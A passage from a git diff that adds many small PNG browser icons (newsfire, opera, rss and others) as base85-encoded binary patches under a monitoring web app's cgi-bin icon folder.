y%JK~xKJ348hR64^kJ{x<%ej8ulTsvp$(QcnejEKU#EF4{fx*+&&t;ucLK6TMFfHi- literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/newsfire.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/newsfire.png new file mode 100644 index 0000000000000000000000000000000000000000..9d180b18956da0b36363300309815519a9d77eaf GIT binary patch literal 646 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>bluyXS;F<hMK z!@$5~<>}%WQZdK&)LH+_0SpWuzRUf+bBp)3=r$G)6Qk)FZEGfE6x?NUw>>$rxxV)% zV_%WM#P0MxlTNfY3m84KnJ}d}?B|W9#p{+<XTQ9*_iLrW$3MRhTJ&iy<xsr6Eqd)V zozps}-2z=WI1d}}9Cli`ATvtlc!7<aa?85)>v!MHQ=6P=BBid*d;YV~B7^zo#kpAT zfA2o}=*$_OB~z;6)?faq%i**(%-Y6Aq@pfv?`E4!3BG5afA;qBPD|xI>`*9EzPmmp za^2Oe-@oUFhKdGdHuEeK-m_*!`m&vyH#ZyF+1jS&+)j)9_TxuIe!l;t)Z_akolG>V z^@R`KJ~!pire&FCvwiy>Pk3yxNaNb;((9%9dDX8D)G_N%kNa|0BSvo9?bz-88#8A~ zBp)l3IlZaw-w(ZIqRxz}oNKcTr@MA*t}+TJc_40o_qgrpO=?<GUw!+wJNkO3+L7>^ zb&;O~*~H{sWw_rNR2Askeb~&|wrjgwRCKhj+GLSMma02npD(<0q}D(wUBEISvFgXc z-SdN07#1pUWR#U%Gw4};T08JTu;$m=--_4eE;FzCD^;6wmbIoVNJww}t*1qjLQV$9 z)?dHA-*onA?_D#(j(pIQ{#xDhLM3SNg7Ewr-Kk#l%gPUCm@JwyZ~pvnEm4L8SEhVR zd6@a}=I7(x-8<iyFf52#8y6E3;KjIfihz?QZ&N~Xaq#uh(7>QcQvyX|uW#SBtx4fW zxx!Kr1_zEr2{r};37)>bKC8KYdefsLBOg}&+y9Ssfvoz^yBl(I7#J8BJYD@<);T3K F0RRHIAddh5 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/newsgator.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/newsgator.png new file mode 100644 index 0000000000000000000000000000000000000000..51e24fe56c66d06eed50e1c87e42faba311a60cf GIT binary patch literal 550 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>bluyU(t9%fsk z!oa|I%hSa%q+*WkL~rlVM2XhxRr~k$cSR;jv-56gOl=OjpjOD%`jkH-$wh?s7qer4 z0AJRHJO3OMN)(r~HaccloN_$Xso?8(TrcN{cjxxvZ{OFku}3!_HLgn7sKLp=P_7=i zHcWe}m%sn{PoIi*#+=*aGifHHfsBjL$*8r{QX}i@>t`*ioHzN;dn<*LPh0-w<n5dP z&tX%DSG#^(MrJOnhm^;O*o_l*t4vq9`nuQV{Omh9l~cs0xL;&RC=SdPy?Wj0zHgM~ zyS3RbmzK_PcrIB|B7MN=)6wU1<ewk2DgR!&L-=~QPNw!hy_=hZMXp?0x9+pVp6N$c zUff`j$+vXDV#`Jr2gYX!cf!8T{WP;BUOkda>&bC8ivn?<48{dp(`06Txbb0UduN?f zYvp&<6M`wLMRRKs->-=DyvL#I{`U#*f79e>`y(3Ok>~9{oqf7tzpC&y(erVeA9f~q zZrr_Ud-$R6k=xj>+NLc(yX)M`H?sGO4IJI2?Dk){lCjZj{dMKU)M@Qr0wS#k4OiVL z_kQ%{?T43|UI|X3pG-Eo9h|b_wDO)m8a%y$a;zO<;`44CvMA4L2-cID@MEGKkL`wg ztG}FhCOswPV0m5gJHvf@oswm9k0;+>Yfy22l3A7Wv_H)MPs%KBE7);?fq{X+)78&q Iol`;+06nPpSpWb4 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/newzcrawler.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/newzcrawler.png new file mode 100644 index 0000000000000000000000000000000000000000..dc9b222ca900343a4be862c7d91182d5f926a897 GIT binary patch literal 980 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8GX(gAxH2#>{QurF=Uxl< z976`@^HPO!W%KXO73V%SN5VMm%-U)JB_+joFR!j&K6k;^%R8_C-nVa`c6jstz3UaX z3QV2cYLfFwQmyOlt2?j1{b%5BVu<=Naru^(mX`0|ze}`mEI9Z7>(>we(-<;yXYE}* z=fS;me{SW>oH?^0Ba|WP`TO_Jo+LSGTL$QK{oix$*M+-({xdMNoC{(|`_ItQ@@c)r z&Fe?f($Y2_e0*l6@&Erz1qB70I*&00KRa{g46psRj0xB4=k5#+4i5V7%E0iyef_7K zSN9nk8_%jszjyCm_(799uJU0CGaDKh7~?)Zdj2-NdgZfc(~KQkDrRggn)T!VaU0g6 z|H-KuzKN}lGycDScW*<9!?A0Bi;Ig-AK$v8t8U}b&+p&AU$gP*3ti#=TU!|NuYRu# z{QsZtS+`D4PY;9F-Lq%+<hJd9|NY*-x4pV6{$Jbd>t6rO$;s*Y+T{QL|6jT{QQn4! zA!OIKbHCTDSyPyw^5WUenP>jDwC*n~-O|75<<m`VX`UMY7?~JG!N7&U`Tw#_3=9nH zC7!;n>{odhd31PAeJkF{z`#)B>EaktF(>q#A=hC89@YT)MH#2&F=rUG)HCV-OVG&R z$T$^q>F(Yt(dAQ~_*W&o)_%Kv$$yrZ$QR;%MI82r<o1aeaeUwR(p_m@*@lwP#T@e= z>tDNbC2sO#g%g#lXI<ZD8IrK}rOZ)Ikz?GsH}4&6O<%mVZeHWXnAd-wP1HYX=-%k@ SJMJ<lU_4#@T-G@yGywpcd@vRO literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/nokia.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/nokia.png new file mode 100644 index 0000000000000000000000000000000000000000..3147b9851ab49f07162641023b6eb49fbcfbab68 GIT binary patch literal 397 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>blu=8=LNEKba z%D}+r=;`7ZQZZ-hL|bpCLXl(VKku)9-<{c!q93I-MX)!}J6JdOtYdL)^CH)%UmU#K zT%)5e2-G$e2sO1SoLOYjrM>X_^zQFZO;m)IEI3~xSHbsu&V5GX%LPKt&pJGQ*)hjn zmSu1{-{f$_Md8o_))|rq?mJDpcWbg?Xn5<@PivNio6dbQN3FplLhN+e34!2?4Uxr7 zvl=!|iI3!dy6NTP%ir@)U!ED$8KN{{*2P!4`@_onz6n{gAAQ@~;c;F%d6&h>P_6lM z*M9wYyZh+^#ZTYQe%3bLJ^#XzqRQZ0^E<nnTCb!%{FPJqeS?KysEDhEo#hek%~5J= z?d@*w>T6f8HWjWhw66HOVe;jywGVg7ZO{F``jyJ#Ss?<Pr-N>WF*6ACue39sv9mlm zp2_9OE*;eem39uX34eD8UCux4u<pO<p=9@te+-*4yMno!zpP_mU|{fc^>bP0l+XkK DSF5hP literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/notavailable.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/notavailable.png new file mode 100644 index 0000000000000000000000000000000000000000..05ff3180a7247ff51a973b1eeb3406fccebc561a GIT binary patch literal 241 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzr-XVpd!#?mZ`?Tz`$AH5n0T@!1V!y z8J*Uc%wS+(U`coMb!1@J*w6hZk(Ggg!63jV#P$FG{|ux6{ksdQ85kHCOM?7@862M7 uNMm4N5cG6$45_%4oS-0Wz{NFT9VY|3CxdeN>&DL@lRaJiT-G@yGywn(Z8Y@& literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/omniweb.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/omniweb.png new file mode 100644 index 0000000000000000000000000000000000000000..6f07f16726c5ec2d4a30fd7a6503a13dd1d8c0dd GIT binary patch literal 355 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj^h;bLN}P*Q6H7Al^Atid zb5j{oGIRA5j7${LUX~T<DHs_T7%3Q<S(%zy8JjC;8yFfGEE6bOz`(%3UgGKN%6^%d zkx^G$%S?cWfq{Xuz$3Dlfk7w+gc&oAm~}ERFtDUM`Z_W&Z0zU$lgP@zz+e#I6XGgl zGg~h0f=%`L%*LJJ%id&ff8V_IMbm}fYj>PmbK>QU2fwyH_;Kmc=U1;keE$CX|NsBn zo>`|eFfdemx;TbZ++r+X=>N~~|Njk(-v9p@{{OI;(`@&j;lFYA>1hV<8GbNj&YY%T z&+vdLtg1wTm*D_oXt|RjC&L6m_s|eUF@}jkuH|J;Vhk5mLaTN!)nxdh629v6ay^DW zDpjlYESb;ne@ghOU6KD8{@-v7FYSHL@c&K6%#O3~UltpS=ik5bf`Ng7!PC{xWt~$( F69DG2hcy5I literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/opera.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/opera.png new file mode 100644 index 0000000000000000000000000000000000000000..9b709885e0beff5d836b0d2d14918d713d7a4c64 GIT binary patch literal 284 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+=&GYQDB<?j4< zoPmLXv%n*=n1O*?2!t6g-L3n>z`($g?&#~tz_78O`%fY(0|SFWfKQ0)G#S}$7w4@? zYNu^&OLKFVRFq%KOn=+mwPMMV^T&>T-nsen>(~EZzyALH`~UCX|NsB5Y(Ck8fq^04 z)5S5Q;#TsH|NsBLyZif}@t^<ygEb=m+D@3a;$QFzJ`eVr|MNGb{rGRJ^S{1X>hOR0 z$glsUr!;P{m~l_&P|hxKjdvTHPaaY>=smd9`NTHYHC+pj9zIyt9?g5$SKR&U{6nuL m{=F*@G-8|iyWISQ9K(}Lv)L_Cw%!a33=E#GelF{r5}E+mVS1_n literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/panasonic.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/panasonic.png new file mode 100644 index 0000000000000000000000000000000000000000..329958ba82d86cc5aabcae586f401dc2adc50251 GIT binary patch literal 302 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>blu=B8R>nst^ zVPIf*<muuVQZeV~L_=?8M}gM+w`1QGS@LKt5j=9tjhkC~qiFR(`v?9X)<-VkZn8h( zrpt2n;nD7oMb*2{Kk5ie3bH(U;DcS;_cRHo16iqIPp&z~c1%j~_!REJ#OW1vZlcPT zDT<RO?JK`A`Sa@8x7*_mJuLfX_<hnXiQ594SG%WOxLs2CKjNG5@$T0jU#INbez|_$ zmC9#qJ6EUObAK}P?unQ{Gp6p$+L{ed_0E_1_qSb5x87B4b?5$?G~b{1maN>`c5ar6 z;od9zM7}Ec*X{XN%lO{;xpf(*3M0!dK89F}3IG4DHNBv}*g9SMZGdYt0|Nttr>mdK II;Vst01G>W=>Px# literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/pdaphone.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/pdaphone.png new file mode 100644 index 0000000000000000000000000000000000000000..4f4f68dcfe6c0fe10702b471a739e812a2718b3a GIT binary patch literal 351 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj^h#VKN}P*Q6H7Al^Atid zb5j|zQcLv|jLa4C^2_uTj0_Bn6$~w{OpL6I4HUEu3=Isf&y<T~U|?V`@$_|NzsxNy zq$Bubs^l961_sUokH}&M25un`X1sK_?hgY4153K2uOkD)#(wTUiL49^3<d!{A+G=b z|37o-N@99yTTj>b@8657D<;jD_2|)~&D(b_TCsNP-o3s7AzH?!+YcN*c<kK!_wP5x zeqmr>U|=i>@(X5gcy=R=fq^00)5S5Q;#P7(!itKA2N+lm8E=wq5Sjk*+LE^pzoNe^ zytdeZ(`@l&$-Dd#5;vO5((Nv@do9WIe{+H5QtD>oYignlrao8qEZo-6*qFL3>&&yV z2`v}r-R*UlrL39rNl4-Bq9wEVHZ?e&xX{SR@GVAm4x6yR4Ui)|UHx3vIVCg!0N8JY AsQ>@~ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/philips.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/philips.png new file mode 100644 index 0000000000000000000000000000000000000000..3f578167691cce07ff3e9b5fb0466ecc24d3092d GIT binary patch literal 686 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ7>k44ofy`glX=O&z`&C3 z=<CS9u(6-}Pa-P=1A{`cN02WALzNl>LqiJ#!!HH~hK3gm45bDP46hOx7_4S6Fo+k- z*%fHRz`(#>;_2(kewBxvhm(VW*<v;W1Cykui(`mJu<nG@{=$JG?dN^uIk|Z@av#*l z>(K1D`pPZ*o#R@km&v!dJhn#7@``SA7uO33nI+=0%E3@!ZC*`_MEI;9`9IiqBt1S; zlJ;xY=Uw-1Z`%3&$?o{N=W|Y5DDCRYQEvXVGOk2rW0~~^oeew&JTKTJ*ya>IR6hFi z`Fi0wfy~R+Jmm3uugSmt%5K)9;VbS}+}blQU#0x&&F!o5V<k^2en>6|5anO`b?^O8 zzZSZjdmev9eE!ov%Wr-2e|j@~;)I1;+~)YLl8=A1lFRO}oXcPSTXFkdo-;}CYWF;4 zyT>hfrB&x%?~Vn+fp5QQSFQ`$Ju5pVI<t4ZruuTt{hOLPisxAES|KQ+aZT*o(j(h0 z2wzTM+MTv_qv^~K-FL6NTl0?f)(fNf^D<Y?pEXZB)G~q9?oCgS-JG|p1g&0Y_-V^< zo!nHjUS(%+N6y*sCDyD@op!l~y#Mr(!Rm+Z`9<44#?HAnW%}wzv*jPXa#sur`4sx_ ztNF%1ujjYtUk<Te?tH*%w#&`GQa^kyr6?@CeQ25SlA~U)eyaB_^~x=fyLdk7a9i)@ z1NmyFKHWHNb>~n@B>VE>*-7h^&hHhLe|w^5|6>E0ojz(Ezte854pj^Y@jHIeVUOs2 zp`hJP@0wri>OY|!8hI|^kl0$LuzVlx+!HsMHMcHac2E1@qD$t@3J$hrcLF1$5~Eq1 w1rA%3xt#fTyvqMf%j_8y-#EVJ$o%6E+iQ9CTHWaz3=9kmp00i_>zopr0No2UUjP6A literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/phoenix.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/phoenix.png new file mode 100644 index 0000000000000000000000000000000000000000..d133ef2071f15c15bd2483c825d2b6800b2901ba GIT binary patch literal 514 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4mJh`26+$Niwq15Y)RhkE(~Ds(|LD20|NtR zfk$L90|VCw5N32*V={w*fq}im)7O>#Dx&~{fXdYQ>nAfXF!p=8IEGZ*>YZfoA)P33 ztp5H}5&bwLj}5o@_*mOLSS{Bz2N<RDm8???=9Dabp|xZ7LT?TWEe#8fNT*v(0bLx9 zMK=VjG@NF8pHiGuFYa;Xc|ehnPxJXNA3y%9nE$*s{-E(x!w}AdWq)*L8XhTLkmKT^ zEa$-elA-4QR`q5{=c()Ow?y3TDcV-=@paAd1y7YD-*A@-r7ZiCq1f7em+9(jIX9bz zX!b7NDJLhKTi<N`>|SZb|DVixvZsDN`>!kZz3I|Mvy^w2x0I~mjkK%O+$^ZLSx~Xv z)Za)<h`Xq^ntOZVLe}t|noA4kPBWiTutsZMgL8()_QcBfUhi5?Kju4`6wlBvY22oD z-E494+Vb0G#oE74%x9maX&+TknzOwysGU2`DEYrm?OjLimn_c@pE;v<Dfc$RoqsvK zWoIN-nLJ`-$n(m~x-YV>-)f#~L)FtcMf+YpWeyPiJ5T)K_LAFX;r22)+{@y=t_VNJ zxS}@j$LHNAj|W>Cc?5dsc;xPE4u17{`!l1Ap8;R08Q$+XmRiG*7rNjg=cb+iKym5m L>gTe~DWM4fpq<m$ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/pluck.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/pluck.png new file mode 100644 index 0000000000000000000000000000000000000000..ef375044f5beaec43b58bedbd743d5475bec5c9e GIT binary patch literal 662 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>bluyR@IS{=<3 zV_;zN@^o<wshCrG&f8zuk%8gC%(*X<C%$#kjM)B(i$l~zQPqV<wE4%2lL`{T!i!B5 z<w8F2SFBw2;_Tu{6&H?lNTg1d(qATZRCs~l##u^J7jU#r+jYCFytORtcys#x_z#X= znhg`06I2)Lrf%apB2xKgwV?g^<6TFYju%c+@tkx-qS@6+a6xjg_xEQedmX&j?AVob z{BFbNS04)eF8gFD_4s}N&feTCq5SUO>HdZ0S<byB8-wp8Roq<=dG>>uxnfRe$kiXo zcO<2SSsHJjN|oFDJ8A3f^V_EF>X{#GTr6Mr^5p%Wy(yQ{wwIRwe*HSDyxQhs#+2yT z*xOgQdYrYb-n_RJ;JQ-wNPcI{z3cC|+1UNReihx;eI?~e%8jJQs%vK7Jo4jp=?w3C zHkSoInFTrpoOkqkx%T44nKLsxHYjjRFl6&tv?9yTSZrGO?eCSce2h*9BmzWA?f&iE zc<%9o+|)(P%P+sY@Kw5Nk;crP^ViE(EI!+0$iTo5kmTIIe7ey4ZoSnvV;U1}<m@k1 zn@sg$_mi1FMP2Z?tCHZwt;W1Z8`p`I);>-7@p4Vl`wurPx8HuNqn~_cO~KB2?n>>| zReG`eCWRU)Z$I82Tm7T#X2y-DTV6=}X&+sr@$2uu2pzT4pN<?6_F8%Uc1(P5Y^2d| z&3O{Pb{+WqXWP8jx9)dvDn2ZzFq~K++WSv?S@24)^vb$o-F$`JXBRP=m<UL`{Os(+ z;nX3Zb^6nzN9M=QtkU}4`uVw>P4&d9+YRGy-P-hhMm~QskI^xWr5uVM>Zi<NXxe}J Yp!D`j9JdcJFfcH9y85}Sb4q9e0QeX+hX4Qo literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/pulpfiction.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/pulpfiction.png new file mode 100644 index 0000000000000000000000000000000000000000..b915740f2f46f475be77acf3a47b50e89bae6b13 GIT binary patch literal 689 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>bluyPxSMV|}v zVPIfN^>lFzshGnU#kBM<<NyEv85kH|y?S}>%u#MGR&EA{53gR{ymtA?(^u@wKO@UK z#6=`{d3YHZ7#Oc#yLxfowo^xTKY02~$JkIpTKWB#UyAB_CoWvPxMw*dKTmp2X?S4l z-@kvEUp&0?`1J=tHFNK%3??oK2^kpyevZGNZi~J<?xXze*sWixdM3t(rhotbWl2oS zTD5rY*Xvt8uwK<r5xsu<+xuUiOy#+pQ}h`g3(b9VPDMwZfq{XEiIGXq#?42Aqd$l} zE?$pGNaoq+pGJnftlVtJ?sEOpGS}6Y;TIGHIh2u+Nt~C1U)_vR!{pQhw#L;5b*+`% zJag>4_5L5<`Rw5@c~P+sZ$AD1|Nq~A1{O9JhJPHw?|;61clVX0xD4kv^{Xd8vhnaK z$f<sR{aIa6oRO1{k&*HLzkf{s|1+@jh`s;$SDKHD?;E3xiY|}1?2~5_ORsV~{lUfb zQ{lt2$3MP(Wo2b$Vq|0#mQ?uk<|Dfp*H0$)^GEi6|M=?mt*a}x9c`PiT|g?Bk4JFp zn&r1{-e6&1U=S4**mG1`giV=Kis{~i2iLD%lag0jvU%>YgXiA7ea*|y`|!oPZS^%Q z|NsC0`uWrAuPk@Z-QZyPuWRAP$-$&4^F&$n0I&Ab6Gtwdzw>eLv0KgUZ7ht8j6eVU z`|#|Jm4&68zU9B?TZ9<SiGTg@^AscZpTDB)KP`-X)XjY?Y;0Nn{rw{=CvU8&@n=)@ z!{^4D!aqK<YCdPyzxD3NgU?@C`S=Ty%bA%Ne*gZ>^7rpQJ{}$^O|u)<-OTkPeu<k3 xNQ$cpFlhW`VEpx$i-Vbg@&Dhy|5#aBA0FlTsPTZUlYxPO!PC{xWt~$(69A;-A{77t literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/real.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/real.png new file mode 100644 index 0000000000000000000000000000000000000000..9ca3fbf536e7f96f26f3cd16c721054568a89123 GIT binary patch literal 1406 zcmeAS@N?(olHy`uVBq!ia0y~yU=UznVBq6mW?*0t{Ft+Yfq{V~-O<;Pfnj4`&F{d; z3=9kk$sR$z3=CDO3=9p;3=BX2GcYu~U|=XUU|@Kaz`$TNoq<6-fBMRqR~Q(W83KGl zT>pc>ng9Q1{{Nr$|G)A7{|x`n{QrOE%>Oep|DQ?wf5!O#83vH#%rpOI&ip?!?f*>U z|1%jtYSYgAPn-EaE$x4r@&7aikXGX}|BYw<H%|L+Z2aGt;XlLw{|smTGtB(YkoKR! z_&);!$Y7AsGtc}_JM-W8%zp-uJ!j6GIWzOjnY1%!jL)2509iZp%$b=p&&*6aGt>CY zOa_oE($1Von|UTJ?M#~SnKTBFqm0j-F`jwGIPHwF@fl-=GYtRFFq}EVF!KyU+8GAp zGYkwfL0&pD6XfW$nILB|fP4V5Y359jS;jNZFn~NX^UO>TNSis+c;-w7kpI%o%uJg( zGc9dqn(@pu29S4+&wwP2(`FhQ&opM3$?$(B!<m^3GiNfS&15j1$-s~X3cE9DpwLN6 z1Nol;6gD6)%}fJ1+BoeD11P9K7SBur8Eu?4lK~WRAnBQDAYh!9#sCUP<1-*@jnmSM zjnj-7(ir}yF`P+bn3=|qmd0S5#=u|<ilj5fplC=l1_d+&DAYk=Hxr~46dVkoNSJxX z804iiW00d6Kyi|G2IPaZG-Hs_44^17J_GU)h;M9c%wWv$-<aWyF~dw_hBRXaV`Bye zPy~XbALI&fjDq4597!NYfx{gXz2Kk(xe**Xpx6d`802KIA3%|Bd<GO$#%Umf!A3JM zfMSV(0puqJ28OkB)@n)wRadVKidw5_xpwW||JUyQub%T?6T}S)n)5%XdTsUI|4Yw( zub#6uXwF*AsGwu_js-;pt=+qJ>C&YwEiM25|7Rc_bbOo;!@$7sz9h&m7?c%84rX|6 z9izm+z{uq3;uumfC#mK*155tS|3(G|#SJqU7>}?Vv9BvI{*(Cc^V9$J3hW9E4NUj{ z*Z==Md2Zv>=dagq=iy;sJaXtm??-#--8>#&FaNihU&+YS@zi?4f4^_v>i_x6*iU`8 z`41z9!UC~n@1=PDyxD)_hNQ#}iG9p00s#-y4|})0-(P>CJ}~LW;R6f;4mv&mZ${2| z_c!4|YCzJC@9*`M9T*G?4gUQ8JkP%&w5#!<>1%$zxCVx#n(yDg+dq@niK)L=Z2aeG zLNWt~f*9Mg`}Zww{@;`KDDB5__ASy14G|I&783vJo<2)T`Ei`Ph{u6}k+ngI$39Xa ohK;R(A&F^n{f)#Lwgv`fhO=It?&0@uM}v}&r>mdKI;Vst0FhPpTL1t6 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/rss.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/rss.png new file mode 100644 index 0000000000000000000000000000000000000000..7a139eabe6469bff80ba01012dd00bce09e7fcda GIT binary patch literal 403 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>blF!JzPbzc5_ zn1O-O-P6S}q+-t0iTm|Z5+&N_fB$Qjo+cKVvYFLe<zI;QCSJ~~yBHQ;&^D=R4O<&n zz^szzuxaZHmu<J4oXre{TMUiLj!8V9^ZjlUx5WNmn)B4{4UMg4@2GCiC^4?~bqqWx zYwjX=w1|OsN1|G+qMclh=TnObpMLrHcz7+z^^BfZ<D{(buNUZTyY-XznW(S(o>e9t zY~Ob}dFE;3eSEhcYzeEoyyDi8CY$i5kDjax3eo&p^?CmJHEElrUp|VvW;<)W?9ycK z%-#2=m0$XKR!8!?nGn~h>S-TSPek)dmD=0#C?^|zy?nmU>6=2a_PYjGhi=x&Rj1a! zwXk|AY=0qPd-$C{R~yfV?cR86Z(9S~&fBs2e{Nncy3AT=qtx`=gO8K#l2dog_0DVd zm2WrOz34bKo0FlhiTjz*$>M!e?MfP@=Ux<Kndo<cpW_d^_Tf39)|^Zd3=9kmp00i_ I>zopr0OoD0`~Uy| literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/rssbandit.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/rssbandit.png new file mode 100644 index 0000000000000000000000000000000000000000..e70b987b1443e3aac7db122dd6e309555dcf1a57 GIT binary patch literal 642 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>bluyUJPC#U_Z zVPIe~^K@|xshFdC$k#(8P=?{d_kW*{$rhKJ8pnFy-TJBf){@}L4@y%q;w!rSR0G@f z0tHHRH@^@Pl5IZW+|J>&$-%KxK+#7~_;YuJ?{$|uY30W%jX&S}e}AdGy_-vvwvtlN zziS++^ZEDgnvm!D!+U$#^Lf9%aS1ABxjgY|ZBxAS=iIC5)*ri`URha@{(XD$${(j2 z-Sm@xmmOKLM=*Pb--?}6E^T}J`R?<yW$D_hz57(UJs%&bXrG*VvqxH&EAf5#mY<QH zcU?PNl>YwhU%v0WkoZmC@}wg5(DajY?%dN57cG~)xH4kmor={{TNd^!H#g@qSS)%r zhj9b{;b?Df%j?|V{}fe=3$We_u9jY$@a*`EbHaiQh36!ar?Fm~v2&Zn-zD4A|J=>i zPGV{;`fObCRp#yP>n=wG{_npNI(5xPA<hgt&Ft*hzI6vhCJ22?tE;>DGGl$u@gIj) zRlj_5kbQe_8&}`*?#U~ca7^XcyT?WFveMmuAAF?T?{BZHKeRSJuC|%g(5=xW{It&j zr^tC1j28U;==L!)WsP2i<GGrI?zboJ+?Rj0Q26%_$J^Tfe)%liC%TAT!tnB{tj8`- z-s?R{U+3bjxZ5Fn^SntiJJgPBIvj9$k?i^HuhxgofA?5xih|O;Uj>Qp?4HL>V7?!? zLehMPWO$>~s(rJv>QiR9%1o5V<ZGM!H!4D=A;C9cUI(j`Q`dCUyE?gVQd^E#s4E?l zNa9E^I>t3qG4=nGMKdzhqi*Y-isBS~e8BP#^N}=1Zr&Hm|1&T!FnGH9xvX<aXaWFJ CrYmLu literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/rssowl.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/rssowl.png new file mode 100644 index 0000000000000000000000000000000000000000..6185d264643e0caf6021866f2b122c2ff83d049c GIT binary patch literal 674 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>blF!HddUX^sM zXJB9o^K@|xshFdCBHAN3QHJ5e|L?NrXP!H2JT>{=#?x0UdATp|VRQQ;*4FwhiC>82 zVemz7TNi#w7Rja-7jZ77OHaENC5l}23J;4)IqmJced=1X?RRG0K6kGC-`+3Pe*|4v z7?!PyiJDbj_v_$?18T3Y@zhp*UAH%=QIdgyL6C#7sY5Dx%Hunig_W20ec+C7@?5aY z$1c|5hW(uMwbPX!cAbiH>0P1O8l?B&f7!<3<t!(2E@r&5NXg6K{3$kf@wc|e&1JtM z^7H*8BUxE_IhUS0o&Mv&Dz%hp*UaC)c=ylbqeiuNWN37B%G2Zj&gsoBj|{w~sm{SY zfB8P^oNTLu9#=2jvYNZ{$c9Smvr{56ukI+`v|>fZ)!i0GC4Ec>qHlkVP|@sS^WNv_ zyYBSEg4)OL=Gbp8&+AWp(QEfVN$FGZvz5(E4h5O>J|tY=oab@q`@gM1Gh)kjuZ!8O zE*ieY<oe9hpZDrL-=!1G5WwkfslZ^!wqDKtSG+|`ap3kFd)98;cqhmrd$;A=ipa~i z+!zmR*%-szaZFfsXJnDizYp&!97~q2c6+qnuD<x+lg$em1N}D@6>%!<N}tml`!>z9 zM>%|_<D5@_HhEPw_k{=PEZfj=XqnBzebHvCmW6odW|yY-9~bv}{Nm1g)9j63#98ZQ zn6#evZ!SOmuy*-*v#sR<%T_sbEIJ|HSNeONjacul9jA;qjE-bDaknJ+-+#F8pY*IY z7Qw*F97}mbe_!>Mf7f5s^70ec(+^rg_by#2dGLa>w#tl&DN9PpXql3d(y^dVUIm<j ig8%uIvZS1k)Spo@pMB^j?@<N@1_n=8KbLh*2~7Z|A2jg* literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/rssreader.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/rssreader.png new file mode 100644 index 0000000000000000000000000000000000000000..fc8deb47c9b653dc2a020051148fb5492a41683a GIT binary patch literal 1053 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8GX(gAxZZvIvUtjoDG%K= 